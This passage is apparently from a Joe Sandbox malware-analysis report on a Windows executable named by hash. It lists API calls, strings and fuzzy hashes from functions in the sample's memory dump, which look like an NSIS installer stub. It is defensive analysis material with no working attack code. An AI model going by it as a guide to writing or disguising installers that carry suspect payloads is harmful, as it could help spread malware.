CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Non-executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNEL32(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNEL32(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
@rD, xrefs: 004053D7
New install of "%s" to "%s", xrefs: 00405182

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: a32262366b6956f6ce6576a17cc772d230ae976b6d31d5dbcf7d3a173ee933fc
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: a32262366b6956f6ce6576a17cc772d230ae976b6d31d5dbcf7d3a173ee933fc
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

N, xrefs: 00404C06
M, xrefs: 00404B43
@, xrefs: 00404B90
, xrefs: 00404F39

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
82D, xrefs: 004046DB
A, xrefs: 00404636
@%F, xrefs: 00404674

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406C9B Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*), ref: 00406D09
lstrcatW.KERNEL32(?,00408838), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", xrefs: 00406CA4
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile("%s"), xrefs: 00406DBC

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"$Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-1120617101
Opcode ID: 929039bad7d15a30b60f6521e1025dcf5eb1071aca27ca1d219e219807f84f48
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 929039bad7d15a30b60f6521e1025dcf5eb1071aca27ca1d219e219807f84f48
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

GetTTFNameString, xrefs: 00406F07
name, xrefs: 00406FBF
%s: failed opening file "%s", xrefs: 00406F0C

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53
@%F, xrefs: 0040682C

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b5b7ab79f27b5d75a187df3fe9f711fb4388b9579a399927462dc59dec62d440
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: b5b7ab79f27b5d75a187df3fe9f711fb4388b9579a399927462dc59dec62d440
